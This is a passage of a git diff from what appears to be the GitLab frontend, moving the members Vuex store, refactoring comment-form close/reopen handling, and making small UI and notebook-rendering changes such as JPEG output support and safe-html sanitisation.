+ accessRequest: 'accessRequest',
+};
+
+export const DAYS_TO_EXPIRE_SOON = 7;
+
+export const LEAVE_MODAL_ID = 'member-leave-modal';
+
+export const REMOVE_GROUP_LINK_MODAL_ID = 'remove-group-link-modal-id';
+
+export const SEARCH_TOKEN_TYPE = 'filtered-search-term';
+
+export const SORT_PARAM = 'sort';
diff --git a/app/assets/javascripts/vuex_shared/modules/members/actions.js b/app/assets/javascripts/members/store/actions.js
index 4c31b3c9744..4c31b3c9744 100644
--- a/app/assets/javascripts/vuex_shared/modules/members/actions.js
+++ b/app/assets/javascripts/members/store/actions.js
diff --git a/app/assets/javascripts/members/store/index.js b/app/assets/javascripts/members/store/index.js
new file mode 100644
index 00000000000..f219f8931b0
--- /dev/null
+++ b/app/assets/javascripts/members/store/index.js
@@ -0,0 +1,9 @@
+import createState from 'ee_else_ce/members/store/state';
+import mutations from 'ee_else_ce/members/store/mutations';
+import * as actions from 'ee_else_ce/members/store/actions';
+
+export default initialState => ({
+ state: createState(initialState),
+ actions,
+ mutations,
+});
diff --git a/app/assets/javascripts/vuex_shared/modules/members/mutation_types.js b/app/assets/javascripts/members/store/mutation_types.js
index 77307aa745b..77307aa745b 100644
--- a/app/assets/javascripts/vuex_shared/modules/members/mutation_types.js
+++ b/app/assets/javascripts/members/store/mutation_types.js
diff --git a/app/assets/javascripts/vuex_shared/modules/members/mutations.js b/app/assets/javascripts/members/store/mutations.js
index 2415e744290..2415e744290 100644
--- a/app/assets/javascripts/vuex_shared/modules/members/mutations.js
+++ b/app/assets/javascripts/members/store/mutations.js
diff --git a/app/assets/javascripts/members/store/state.js b/app/assets/javascripts/members/store/state.js
new file mode 100644
index 00000000000..23a7983adcc
--- /dev/null
+++ b/app/assets/javascripts/members/store/state.js
@@ -0,0 +1,27 @@
+export default ({
+ members,
+ sourceId,
+ currentUserId,
+ canManageMembers,
+ tableFields,
+ tableAttrs,
+ tableSortableFields,
+ memberPath,
+ requestFormatter,
+ filteredSearchBar,
+}) => ({
+ members,
+ sourceId,
+ currentUserId,
+ canManageMembers,
+ tableFields,
+ tableAttrs,
+ tableSortableFields,
+ memberPath,
+ requestFormatter,
+ filteredSearchBar,
+ showError: false,
+ errorMessage: '',
+ removeGroupLinkModalVisible: false,
+ groupLinkToRemove: null,
+});
diff --git a/app/assets/javascripts/vuex_shared/modules/members/utils.js b/app/assets/javascripts/members/store/utils.js
index 7dcd33111e8..7dcd33111e8 100644
--- a/app/assets/javascripts/vuex_shared/modules/members/utils.js
+++ b/app/assets/javascripts/members/store/utils.js
diff --git a/app/assets/javascripts/members/utils.js b/app/assets/javascripts/members/utils.js
new file mode 100644
index 00000000000..bf1fc2d7515
--- /dev/null
+++ b/app/assets/javascripts/members/utils.js
@@ -0,0 +1,97 @@
+import { __ } from '~/locale';
+import { getParameterByName } from '~/lib/utils/common_utils';
+import { setUrlParams } from '~/lib/utils/url_utility';
+import { FIELDS, DEFAULT_SORT } from './constants';
+
+export const generateBadges = (member, isCurrentUser) => [
+ {
+ show: isCurrentUser,
+ text: __("It's you"),
+ variant: 'success',
+ },
+ {
+ show: member.user?.blocked,
+ text: __('Blocked'),
+ variant: 'danger',
+ },
+ {
+ show: member.user?.twoFactorEnabled,
+ text: __('2FA'),
+ variant: 'info',
+ },
+];
+
+export const isGroup = member => {
+ return Boolean(member.sharedWithGroup);
+};
+
+export const isDirectMember = (member, sourceId) => {
+ return isGroup(member) || member.source?.id === sourceId;
+};
+
+export const isCurrentUser = (member, currentUserId) => {
+ return member.user?.id === currentUserId;
+};
+
+export const canRemove = (member, sourceId) => {
+ return isDirectMember(member, sourceId) && member.canRemove;
+};
+
+export const canResend = member => {
+ return Boolean(member.invite?.canResend);
+};
+
+export const canUpdate = (member, currentUserId, sourceId) => {
+ return (
+ !isCurrentUser(member, currentUserId) && isDirectMember(member, sourceId) && member.canUpdate
+ );
+};
+
+export const parseSortParam = sortableFields => {
+ const sortParam = getParameterByName('sort');
+
+ const sortedField = FIELDS.filter(field => sortableFields.includes(field.key)).find(
+ field => field.sort?.asc === sortParam || field.sort?.desc === sortParam,
+ );
+
+ if (!sortedField) {
+ return DEFAULT_SORT;
+ }
+
+ return {
+ sortByKey: sortedField.key,
+ sortDesc: sortedField?.sort?.desc === sortParam,
+ };
+};
+
+export const buildSortHref = ({
+ sortBy,
+ sortDesc,
+ filteredSearchBarTokens,
+ filteredSearchBarSearchParam,
+}) => {
+ const sortDefinition = FIELDS.find(field => field.key === sortBy)?.sort;
+
+ if (!sortDefinition) {
+ return '';
+ }
+
+ const sortParam = sortDesc ? sortDefinition.desc : sortDefinition.asc;
+
+ const filterParams =
+ filteredSearchBarTokens?.reduce((accumulator, token) => {
+ return {
+ ...accumulator,
+ [token]: getParameterByName(token),
+ };
+ }, {}) || {};
+
+ if (filteredSearchBarSearchParam) {
+ filterParams[filteredSearchBarSearchParam] = getParameterByName(filteredSearchBarSearchParam);
+ }
+
+ return setUrlParams({ ...filterParams, sort: sortParam }, window.location.href, true);
+};
+
+// Defined in `ee/app/assets/javascripts/vue_shared/components/members/utils.js`
+export const canOverride = () => false;
diff --git a/app/assets/javascripts/merge_conflicts/merge_conflict_store.js b/app/assets/javascripts/merge_conflicts/merge_conflict_store.js
index 25c357b6073..c803774f4a7 100644
--- a/app/assets/javascripts/merge_conflicts/merge_conflict_store.js
+++ b/app/assets/javascripts/merge_conflicts/merge_conflict_store.js
@@ -54,7 +54,6 @@ import { s__ } from '~/locale';
file.promptDiscardConfirmation = false;
file.resolveMode = DEFAULT_RESOLVE_MODE;
file.filePath = this.getFilePath(file);
- file.iconClass = `fa-${file.blob_icon}`;
file.blobPath = file.blob_path;
if (file.type === CONFLICT_TYPES.TEXT) {
diff --git a/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js b/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js
index a5a930572e1..229f6f3e339 100644
--- a/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js
+++ b/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js
@@ -1,5 +1,6 @@
import $ from 'jquery';
import Vue from 'vue';
+import FileIcon from '~/vue_shared/components/file_icon.vue';
import { deprecatedCreateFlash as createFlash } from '../flash';
import initIssuableSidebar from '../init_issuable_sidebar';
import './merge_conflict_store';
@@ -24,6 +25,7 @@ export default function initMergeConflicts() {
gl.MergeConflictsResolverApp = new Vue({
el: '#conflicts',
components: {
+ FileIcon,
'diff-file-editor': gl.mergeConflicts.diffFileEditor,
'inline-conflict-lines': gl.mergeConflicts.inlineConflictLines,
'parallel-conflict-lines': gl.mergeConflicts.parallelConflictLines,
diff --git a/app/assets/javascripts/merge_request.js b/app/assets/javascripts/merge_request.js
index fe4e2cee69f..344f8dee5ea 100644
--- a/app/assets/javascripts/merge_request.js
+++ b/app/assets/javascripts/merge_request.js
@@ -102,14 +102,6 @@ MergeRequest.prototype.initMRBtnListeners = function() {
return $('.btn-close, .btn-reopen').on('click', function(e) {
const $this = $(this);
const shouldSubmit = $this.hasClass('btn-comment');
- if ($this.hasClass('js-btn-issue-action')) {
- const url = $this.data('endpoint');
- return axios
- .put(url)
- .then(() => window.location.reload())
- .catch(() => createFlash(__('Something went wrong.')));
- }
-
if (shouldSubmit && $this.data('submitted')) {
return;
}
@@ -171,10 +163,6 @@ MergeRequest.decreaseCounter = function(by = 1) {
MergeRequest.hideCloseButton = function() {
const el = document.querySelector('.merge-request .js-issuable-actions');
- const closeDropdownItem = el.querySelector('li.close-item');
- if (closeDropdownItem) {
- closeDropdownItem.classList.add('hidden');
- }
// Dropdown for mobile screen
el.querySelector('li.js-close-item').classList.add('hidden');
};
diff --git a/app/assets/javascripts/merge_request_tabs.js b/app/assets/javascripts/merge_request_tabs.js
index bdcdabe8f78..6e9661ea1a8 100644
--- a/app/assets/javascripts/merge_request_tabs.js
+++ b/app/assets/javascripts/merge_request_tabs.js
@@ -369,6 +369,9 @@ export default class MergeRequestTabs {
projectId: pipelineTableViewEl.dataset.projectId,
mergeRequestId: mrWidgetData ? mrWidgetData.iid : null,
},
+ provide: {
+ targetProjectFullPath: mrWidgetData?.target_project_full_path || '',
+ },
}).$mount();
// $mount(el) replaces the el with the new rendered component. We need it in order to mount
diff --git a/app/assets/javascripts/milestone_select.js b/app/assets/javascripts/milestone_select.js
index 52f6786ca28..baa5e41989b 100644
--- a/app/assets/javascripts/milestone_select.js
+++ b/app/assets/javascripts/milestone_select.js
@@ -53,8 +53,7 @@ export default class MilestoneSelect {
const $block = $selectBox.closest('.block');
const $sidebarCollapsedValue = $block.find('.sidebar-collapsed-icon');
const $value = $block.find('.value');
- // eslint-disable-next-line no-jquery/no-fade
- const $loading = $block.find('.block-loading').fadeOut();
+ const $loading = $block.find('.block-loading').addClass('gl-display-none');
selectedMilestoneDefault = showAny ? '' : null;
selectedMilestoneDefault =
showNo && defaultNo ? __('No milestone') : selectedMilestoneDefault;
@@ -255,34 +254,29 @@ export default class MilestoneSelect {
}
$dropdown.trigger('loading.gl.dropdown');
- // eslint-disable-next-line no-jquery/no-fade
- $loading.removeClass('hidden').fadeIn();
+ $loading.removeClass('gl-display-none');
boardsStore.detail.issue
.update($dropdown.attr('data-issue-update'))
.then(() => {
$dropdown.trigger('loaded.gl.dropdown');
- // eslint-disable-next-line no-jquery/no-fade
- $loading.fadeOut();
+ $loading.addClass('gl-display-none');
})
.catch(() => {
- // eslint-disable-next-line no-jquery/no-fade
- $loading.fadeOut();
+ $loading.addClass('gl-display-none');
});
} else {
selected = $selectBox.find('input[type="hidden"]').val();
data = {};
data[abilityName] = {};
data[abilityName].milestone_id = selected != null ? selected : null;
- // eslint-disable-next-line no-jquery/no-fade
- $loading.removeClass('hidden').fadeIn();
+ $loading.removeClass('gl-display-none');
$dropdown.trigger('loading.gl.dropdown');
return axios
.put(issueUpdateURL, data)
.then(({ data }) => {
$dropdown.trigger('loaded.gl.dropdown');
- // eslint-disable-next-line no-jquery/no-fade
- $loading.fadeOut();
+ $loading.addClass('gl-display-none');
$selectBox.hide();
$value.css('display', '');
if (data.milestone != null) {
@@ -313,8 +307,7 @@ export default class MilestoneSelect {
.text(__('None'));
})
.catch(() => {
- // eslint-disable-next-line no-jquery/no-fade
- $loading.fadeOut();
+ $loading.addClass('gl-display-none');
});
}
},
diff --git a/app/assets/javascripts/mirrors/mirror_repos.js b/app/assets/javascripts/mirrors/mirror_repos.js
index 818ca8aa847..18ea27e9a34 100644
--- a/app/assets/javascripts/mirrors/mirror_repos.js
+++ b/app/assets/javascripts/mirrors/mirror_repos.js
@@ -39,6 +39,7 @@ export default class MirrorRepos {
initMirrorSSH() {
if (this.$password) {
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$password.off('input.updateUrl');
}
this.$password = undefined;
diff --git a/app/assets/javascripts/mirrors/ssh_mirror.js b/app/assets/javascripts/mirrors/ssh_mirror.js
index eecfaa76168..c6486350f3b 100644
--- a/app/assets/javascripts/mirrors/ssh_mirror.js
+++ b/app/assets/javascripts/mirrors/ssh_mirror.js
@@ -185,10 +185,15 @@ export default class SSHMirror {
}
destroy() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$repositoryUrl.off('keyup');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$form.find('.js-known-hosts').off('keyup');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$dropdownAuthType.off('change');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$btnDetectHostKeys.off('click');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$btnSSHHostsShowAdvanced.off('click');
}
}
diff --git a/app/assets/javascripts/monitoring/components/alert_widget_form.vue b/app/assets/javascripts/monitoring/components/alert_widget_form.vue
index 6f29b34141d..71691429ece 100644
--- a/app/assets/javascripts/monitoring/components/alert_widget_form.vue
+++ b/app/assets/javascripts/monitoring/components/alert_widget_form.vue
@@ -31,7 +31,7 @@ const SUBMIT_ACTION_TEXT = {
const SUBMIT_BUTTON_CLASS = {
create: 'btn-success',
update: 'btn-success',
- delete: 'btn-remove',
+ delete: 'btn-danger',
};
export default {
diff --git a/app/assets/javascripts/monitoring/components/charts/time_series.vue b/app/assets/javascripts/monitoring/components/charts/time_series.vue
index bda2adeb62a..170c5ff7695 100644
--- a/app/assets/javascripts/monitoring/components/charts/time_series.vue
+++ b/app/assets/javascripts/monitoring/components/charts/time_series.vue
@@ -367,6 +367,7 @@ export default {
},
);
+ // eslint-disable-next-line @gitlab/no-global-event-off
eChart.off('datazoom');
eChart.on('datazoom', this.throttledDatazoom);
},
diff --git a/app/assets/javascripts/monitoring/components/dashboard_panel.vue b/app/assets/javascripts/monitoring/components/dashboard_panel.vue
index 597600bba07..ad7127d97de 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_panel.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_panel.vue
@@ -394,10 +394,10 @@ export default {
data-qa-selector="prometheus_graph_widgets"
>
<div data-testid="dropdown-wrapper" class="d-flex align-items-center">
- <!--
+ <!--
This component should be replaced with a variant developed
as part of https://gitlab.com/gitlab-org/gitlab-ui/-/issues/936
- The variant will create a dropdown with an icon, no text and no caret
+ The variant will create a dropdown with an icon, no text and no caret
-->
<gl-dropdown
v-gl-tooltip
diff --git a/app/assets/javascripts/monitoring/stores/variable_mapping.js b/app/assets/javascripts/monitoring/stores/variable_mapping.js
index 9245ffdb3b9..4ae5cf04ff9 100644
--- a/app/assets/javascripts/monitoring/stores/variable_mapping.js
+++ b/app/assets/javascripts/monitoring/stores/variable_mapping.js
@@ -271,5 +271,3 @@ export const optionsFromSeriesData = ({ label, data = [] }) => {
return [...optionsSet].map(parseSimpleCustomValues);
};
-
-export default {};
diff --git a/app/assets/javascripts/monitoring/utils.js b/app/assets/javascripts/monitoring/utils.js
index 92bbce498d5..a4c5a881fae 100644
--- a/app/assets/javascripts/monitoring/utils.js
+++ b/app/assets/javascripts/monitoring/utils.js
@@ -404,5 +404,3 @@ export const barChartsDataParser = (data = []) =>
}),
{},
);
-
-export default {};
diff --git a/app/assets/javascripts/notebook/cells/output/html.vue b/app/assets/javascripts/notebook/cells/output/html.vue
index a3d7ddd5bad..dc5b2b66348 100644
--- a/app/assets/javascripts/notebook/cells/output/html.vue
+++ b/app/assets/javascripts/notebook/cells/output/html.vue
@@ -1,5 +1,5 @@
<script>
-/* eslint-disable vue/no-v-html */
+import { GlSafeHtmlDirective } from '@gitlab/ui';
import { sanitize } from '~/lib/dompurify';
import Prompt from '../prompt.vue';
@@ -7,6 +7,9 @@ export default {
components: {
Prompt,
},
+ directives: {
+ SafeHtml: GlSafeHtmlDirective,
+ },
props: {
count: {
type: Number,
@@ -23,9 +26,7 @@ export default {
},
computed: {
sanitizedOutput() {
- return sanitize(this.rawCode, {
- ALLOWED_ATTR: ['src'],
- });
+ return sanitize(this.rawCode);
},
showOutput() {
return this.index === 0;
@@ -37,6 +38,6 @@ export default {
<template>
<div class="output">
<prompt type="Out" :count="count" :show-output="showOutput" />
- <div class="gl-overflow-auto" v-html="sanitizedOutput"></div>
+ <div v-safe-html="sanitizedOutput" class="gl-overflow-auto"></div>
</div>
</template>
diff --git a/app/assets/javascripts/notebook/cells/output/index.vue b/app/assets/javascripts/notebook/cells/output/index.vue
index f2d3796cccf..113d8cfc435 100644
--- a/app/assets/javascripts/notebook/cells/output/index.vue
+++ b/app/assets/javascripts/notebook/cells/output/index.vue
@@ -31,6 +31,8 @@ export default {
return 'text/plain';
} else if (output.data['image/png']) {
return 'image/png';
+ } else if (output.data['image/jpeg']) {
+ return 'image/jpeg';
} else if (output.data['text/html']) {
return 'text/html';
} else if (output.data['image/svg+xml']) {
@@ -53,6 +55,8 @@ export default {
return CodeOutput;
} else if (output.data['image/png']) {
return ImageOutput;
+ } else if (output.data['image/jpeg']) {
+ return ImageOutput;
} else if (output.data['text/html']) {
return HtmlOutput;
} else if (output.data['image/svg+xml']) {
diff --git a/app/assets/javascripts/notebook/lib/highlight.js b/app/assets/javascripts/notebook/lib/highlight.js
index 74ade6d2edf..313aeecbd51 100644
--- a/app/assets/javascripts/notebook/lib/highlight.js
+++ b/app/assets/javascripts/notebook/lib/highlight.js
@@ -1,22 +1,5 @@
import Prism from 'prismjs';
import 'prismjs/components/prism-python';
-import 'prismjs/plugins/custom-class/prism-custom-class';
-
-Prism.plugins.customClass.map({
- comment: 'c',
- error: 'err',
- operator: 'o',
- constant: 'kc',
- namespace: 'kn',
- keyword: 'k',
- string: 's',
- number: 'm',
- 'attr-name': 'na',
- builtin: 'nb',
- entity: 'ni',
- function: 'nf',
- tag: 'nt',
- variable: 'nv',
-});
+import 'prismjs/themes/prism.css';
export default Prism;
diff --git a/app/assets/javascripts/notes.js b/app/assets/javascripts/notes.js
index 37bb79defd1..9a887021e5d 100644
--- a/app/assets/javascripts/notes.js
+++ b/app/assets/javascripts/notes.js
@@ -187,6 +187,7 @@ export default class Notes {
this.$wrapperEl.off('click', '.js-discussion-reply-button');
this.$wrapperEl.off('click', '.js-add-diff-note-button');
this.$wrapperEl.off('click', '.js-add-image-diff-note-button');
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.$wrapperEl.off('visibilitychange');
this.$wrapperEl.off('keyup input', '.js-note-text');
this.$wrapperEl.off('click', '.js-note-target-reopen');
diff --git a/app/assets/javascripts/notes/components/comment_form.vue b/app/assets/javascripts/notes/components/comment_form.vue
index 9cc53a320b8..0363173f912 100644
--- a/app/assets/javascripts/notes/components/comment_form.vue
+++ b/app/assets/javascripts/notes/components/comment_form.vue
@@ -3,23 +3,23 @@ import $ from 'jquery';
import { mapActions, mapGetters, mapState } from 'vuex';
import { isEmpty } from 'lodash';
import Autosize from 'autosize';
-import { GlAlert, GlIntersperse, GlLink, GlSprintf, GlButton, GlIcon } from '@gitlab/ui';
+import { GlButton, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
-import { deprecatedCreateFlash as Flash } from '../../flash';
-import Autosave from '../../autosave';
+import { deprecatedCreateFlash as Flash } from '~/flash';
+import Autosave from '~/autosave';
import {
capitalizeFirstCharacter,
convertToCamelCase,
splitCamelCase,
slugifyWithUnderscore,
-} from '../../lib/utils/text_utility';
+} from '~/lib/utils/text_utility';
import { refreshUserMergeRequestCounts } from '~/commons/nav/user_merge_requests';
import * as constants from '../constants';
import eventHub from '../event_hub';
-import NoteableWarning from '../../vue_shared/components/notes/noteable_warning.vue';
-import markdownField from '../../vue_shared/components/markdown/field.vue';
-import userAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
+import NoteableWarning from '~/vue_shared/components/notes/noteable_warning.vue';
+import markdownField from '~/vue_shared/components/markdown/field.vue';
+import userAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import noteSignedOutWidget from './note_signed_out_widget.vue';
import discussionLockedWidget from './discussion_locked_widget.vue';
import issuableStateMixin from '../mixins/issuable_state';
@@ -34,10 +34,6 @@ export default {
userAvatarLink,
GlButton,
TimelineEntryItem,
- GlAlert,
- GlIntersperse,
- GlLink,
- GlSprintf,
GlIcon,
},
mixins: [issuableStateMixin],
@@ -63,9 +59,8 @@ export default {
'getNoteableDataByProp',
'getNotesData',
'openState',
- 'getBlockedByIssues',
]),
- ...mapState(['isToggleStateButtonLoading', 'isToggleBlockedIssueWarning']),
+ ...mapState(['isToggleStateButtonLoading']),
noteableDisplayName() {
return splitCamelCase(this.noteableType).toLowerCase();
},
@@ -143,7 +138,7 @@ export default {
? __('merge request')
: __('issue');
},
- isIssueType() {
+ isIssue() {
return this.noteableDisplayName === constants.ISSUE_NOTEABLE_TYPE;
},
trackingLabel() {
@@ -172,11 +167,9 @@ export default {
'stopPolling',
'restartPolling',
'removePlaceholderNotes',
- 'closeIssue',
- 'reopenIssue',
+ 'closeIssuable',
+ 'reopenIssuable',
'toggleIssueLocalState',
- 'toggleStateButtonLoading',
- 'toggleBlockedIssueWarning',
]),
setIsSubmitButtonDisabled(note, isSubmitting) {
if (!isEmpty(note) && !isSubmitting) {
@@ -186,8 +179,6 @@ export default {
}
},
handleSave(withIssueAction) {
- this.isSubmitting = true;
-
if (this.note.length) {
const noteData = {
endpoint: this.endpoint,
@@ -210,9 +201,10 @@ export default {
this.resizeTextarea();
this.stopPolling();
+ this.isSubmitting = true;
+
this.saveNote(noteData)
.then(() => {
- this.enableButton();
this.restartPolling();
this.discard();
@@ -221,7 +213,6 @@ export default {
}
})
.catch(() => {
- this.enableButton();
this.discard(false);
const msg = __(
'Your comment could not be submitted! Please check your network connection and try again.',
@@ -229,64 +220,27 @@ export default {
Flash(msg, 'alert', this.$el);
this.note = noteData.data.note.note; // Restore textarea content.
this.removePlaceholderNotes();
+ })
+ .finally(() => {
+ this.isSubmitting = false;
});
} else {
this.toggleIssueState();
}
},
- enableButton() {
- this.isSubmitting = false;
- },
toggleIssueState() {
- if (
- this.noteableType.toLowerCase() === constants.ISSUE_NOTEABLE_TYPE &&
- this.isOpen &&
- this.getBlockedByIssues &&
- this.getBlockedByIssues.length > 0
- ) {
- this.toggleBlockedIssueWarning(true);
+ if (this.isIssue) {
+ // We want to invoke the close/reopen logic in the issue header
+ // since that is where the blocked-by issues modal logic is also defined
+ eventHub.$emit('toggle.issuable.state');
return;
}
- if (this.isOpen) {
- this.forceCloseIssue();
- } else {
- this.reopenIssue()
- .then(() => {
- this.enableButton();
- refreshUserMergeRequestCounts();
- })
- .catch(({ data }) => {
- this.enableButton();
- this.toggleStateButtonLoading(false);
- let errorMessage = sprintf(
- __('Something went wrong while reopening the %{issuable}. Please try again later'),
- { issuable: this.noteableDisplayName },
- );
- if (data) {
- errorMessage = Object.values(data).join('\n');
- }
+ const toggleState = this.isOpen ? this.closeIssuable : this.reopenIssuable;
- Flash(errorMessage);
- });
- }
- },
- forceCloseIssue() {
- this.closeIssue()
- .then(() => {
- this.enableButton();
- refreshUserMergeRequestCounts();
- })
- .catch(() => {
- this.enableButton();
- this.toggleStateButtonLoading(false);
- Flash(
- sprintf(
- __('Something went wrong while closing the %{issuable}. Please try again later'),
- { issuable: this.noteableDisplayName },
- ),
- );
- });
+ toggleState()
+ .then(refreshUserMergeRequestCounts)
+ .catch(() => Flash(constants.toggleStateErrorMessage[this.noteableType][this.openState]));
},
discard(shouldClear = true) {
// `blur` is needed to clear slash commands autocomplete cache if event fired.
@@ -384,6 +338,7 @@ export default {
name="note[note]"
class="note-textarea js-vue-comment-form js-note-text js-gfm-input js-autosize markdown-area"
data-qa-selector="comment_field"
+ data-testid="comment-field"
data-supports-quick-actions="true"
:aria-label="__('Description')"
:placeholder="__('Write a comment or drag your files here…')"
@@ -392,36 +347,7 @@ export default {
@keydown.ctrl.enter="handleSave()"
></textarea>
</markdown-field>
- <gl-alert
- v-if="isToggleBlockedIssueWarning"
- class="gl-mt-5"
- :title="__('Are you sure you want to close this blocked issue?')"
- :primary-button-text="__('Yes, close issue')"
- :secondary-button-text="__('Cancel')"
- variant="warning"
- :dismissible="false"
- @primaryAction="toggleBlockedIssueWarning(false) && forceCloseIssue()"
- @secondaryAction="toggleBlockedIssueWarning(false) && enableButton()"
- >
- <p>
- <gl-sprintf
- :message="
- __('This issue is currently blocked by the following issues: %{issues}.')
- "
- >
- <template #issues>
- <gl-intersperse>
- <gl-link
- v-for="blockingIssue in getBlockedByIssues"
- :key="blockingIssue.web_url"
- :href="blockingIssue.web_url"
- >#{{ blockingIssue.iid }}</gl-link
- >
- </gl-intersperse>
- </template>
- </gl-sprintf>
- </p>
- </gl-alert>
+
<div class="note-form-actions">
<div
class="btn-group gl-mr-3 comment-type-dropdown js-comment-type-dropdown droplab-dropdown"
@@ -430,6 +356,7 @@ export default {
:disabled="isSubmitButtonDisabled"
class="js-comment-button js-comment-submit-button"
data-qa-selector="comment_button"
+ data-testid="comment-button"
type="submit"
category="primary"
variant="success"
@@ -488,15 +415,13 @@ export default {
</div>
<gl-button
- v-if="canToggleIssueState && !isToggleBlockedIssueWarning"
+ v-if="canToggleIssueState"
:loading="isToggleStateButtonLoading"
category="secondary"
:variant="buttonVariant"
- :class="[
- actionButtonClassNames,
- 'btn-comment btn-comment-and-close js-action-button',
- ]"
- :disabled="isToggleStateButtonLoading || isSubmitting"
+ :class="[actionButtonClassNames, 'btn-comment btn-comment-and-close']"
+ :disabled="isSubmitting"
+ data-testid="close-reopen-button"
@click="handleSave(true)"
>{{ issueActionButtonTitle }}</gl-button
>
diff --git a/app/assets/javascripts/notes/components/diff_with_note.vue b/app/assets/javascripts/notes/components/diff_with_note.vue
index 91cf682943e..1580c94658a 100644
--- a/app/assets/javascripts/notes/components/diff_with_note.vue
+++ b/app/assets/javascripts/notes/components/diff_with_note.vue
@@ -7,7 +7,7 @@ import DiffViewer from '~/vue_shared/components/diff_viewer/diff_viewer.vue';
import ImageDiffOverlay from '~/diffs/components/image_diff_overlay.vue';
import { getDiffMode } from '~/diffs/store/utils';
import { diffViewerModes } from '~/ide/constants';
-import { isCollapsed } from '../../diffs/diff_file';
+import { isCollapsed } from '../../diffs/utils/diff_file';
const FIRST_CHAR_REGEX = /^(\+|-| )/;
@@ -131,14 +131,18 @@ export default {
:file-hash="discussion.diff_file.file_hash"
:project-path="projectPath"
>
- <image-diff-overlay
- slot="image-overlay"
- :discussions="discussion"
- :file-hash="discussion.diff_file.file_hash"
- :show-comment-icon="true"
- :should-toggle-discussion="false"
- badge-class="image-comment-badge"
- />
+ <template #image-overlay="{ renderedWidth, renderedHeight }">
+ <image-diff-overlay
+ v-if="renderedWidth"
+ :rendered-width="renderedWidth"
+ :rendered-height="renderedHeight"
+ :discussions="discussion"
+ :file-hash="discussion.diff_file.file_hash"
+ :show-comment-icon="true"
+ :should-toggle-discussion="false"
+ badge-class="image-comment-badge gl-text-gray-500"
+ />
+ </template>
</diff-viewer>
<slot></slot>
</div>
diff --git a/app/assets/javascripts/notes/components/multiline_comment_utils.js b/app/assets/javascripts/notes/components/multiline_comment_utils.js
index dbae10c8f6c..2451400e980 100644
--- a/app/assets/javascripts/notes/components/multiline_comment_utils.js
+++ b/app/assets/javascripts/notes/components/multiline_comment_utils.js
@@ -103,9 +103,15 @@ export function getCommentedLines(selectedCommentPosition, diffLines) {
};
}
+ const findLineCodeIndex = line => position => {
+ return [position.line_code, position.left?.line_code, position.right?.line_code].includes(
+ line.line_code,
+ );
+ };
+
const { start, end } = selectedCommentPosition;
- const startLine = diffLines.findIndex(l => l.line_code === start.line_code);
- const endLine = diffLines.findIndex(l => l.line_code === end.line_code);
+ const startLine = diffLines.findIndex(findLineCodeIndex(start));
+ const endLine = diffLines.findIndex(findLineCodeIndex(end));
return { startLine, endLine };
}
diff --git a/app/assets/javascripts/notes/components/note_form.vue b/app/assets/javascripts/notes/components/note_form.vue
index 43f17c5d65c..84769bfc7c8 100644
--- a/app/assets/javascripts/notes/components/note_form.vue
+++ b/app/assets/javascripts/notes/components/note_form.vue
@@ -422,7 +422,7 @@ export default {
</button>
<button
v-if="discussion.resolvable"
- class="btn btn-nr btn-default gl-mr-3 js-comment-resolve-button"
+ class="btn btn-default gl-mr-3 js-comment-resolve-button"
@click.prevent="handleUpdate(true)"
>
{{ resolveButtonTitle }}
diff --git a/app/assets/javascripts/notes/components/note_header.vue b/app/assets/javascripts/notes/components/note_header.vue
index cacf209ed81..17a995018d3 100644
--- a/app/assets/javascripts/notes/components/note_header.vue
+++ b/app/assets/javascripts/notes/components/note_header.vue
@@ -85,7 +85,10 @@ export default {
};
},
authorStatus() {
- return this.author.status_tooltip_html;
+ if (this.author?.show_status) {
+ return this.author.status_tooltip_html;
+ }
+ return false;
},
authorIsBusy() {
const { status } = this.author;
@@ -142,7 +145,7 @@ export default {
type="button"
@click="handleToggle"
>
- <gl-icon ref="chevronIcon" :name="toggleChevronIconName" aria-hidden="true" />
+ <gl-icon ref="chevronIcon" :name="toggleChevronIconName" />
{{ __('Toggle thread') }}
</button>
</div>
diff --git a/app/assets/javascripts/notes/components/noteable_note.vue b/app/assets/javascripts/notes/components/noteable_note.vue
index 9be53fe60f2..5073922e4a4 100644
--- a/app/assets/javascripts/notes/components/noteable_note.vue
+++ b/app/assets/javascripts/notes/components/noteable_note.vue
@@ -23,6 +23,7 @@ import {
commentLineOptions,
formatLineRange,
} from './multiline_comment_utils';
+import { INLINE_DIFF_LINES_KEY } from '~/diffs/constants';
export default {
name: 'NoteableNote',
@@ -169,12 +170,8 @@ export default {
return this.line && this.startLineNumber !== this.endLineNumber;
},
commentLineOptions() {
- const sideA = this.line.type === 'new' ? 'right' : 'left';
- const sideB = sideA === 'left' ? 'right' : 'left';
- const lines = this.diffFile.highlighted_diff_lines.length
- ? this.diffFile.highlighted_diff_lines
- : this.diffFile.parallel_diff_lines.map(l => l[sideA] || l[sideB]);
- return commentLineOptions(lines, this.commentLineStart, this.line.line_code, sideA);
+ const lines = this.diffFile[INLINE_DIFF_LINES_KEY].length;
+ return commentLineOptions(lines, this.commentLineStart, this.line.line_code);
},
diffFile() {
if (this.commentLineStart.line_code) {
diff --git a/app/assets/javascripts/notes/constants.js b/app/assets/javascripts/notes/constants.js
index 7acf2ad57c8..cc14ea42a89 100644
--- a/app/assets/javascripts/notes/constants.js
+++ b/app/assets/javascripts/notes/constants.js
@@ -1,3 +1,5 @@
+import { __ } from '~/locale';
+
export const DISCUSSION_NOTE = 'DiscussionNote';
export const DIFF_NOTE = 'DiffNote';
export const DISCUSSION = 'discussion';
@@ -36,3 +38,16 @@ export const DISCUSSION_FILTER_TYPES = {
COMMENTS: 'comments',
HISTORY: 'history',
};
+
+export const toggleStateErrorMessage = {
+ Epic: {
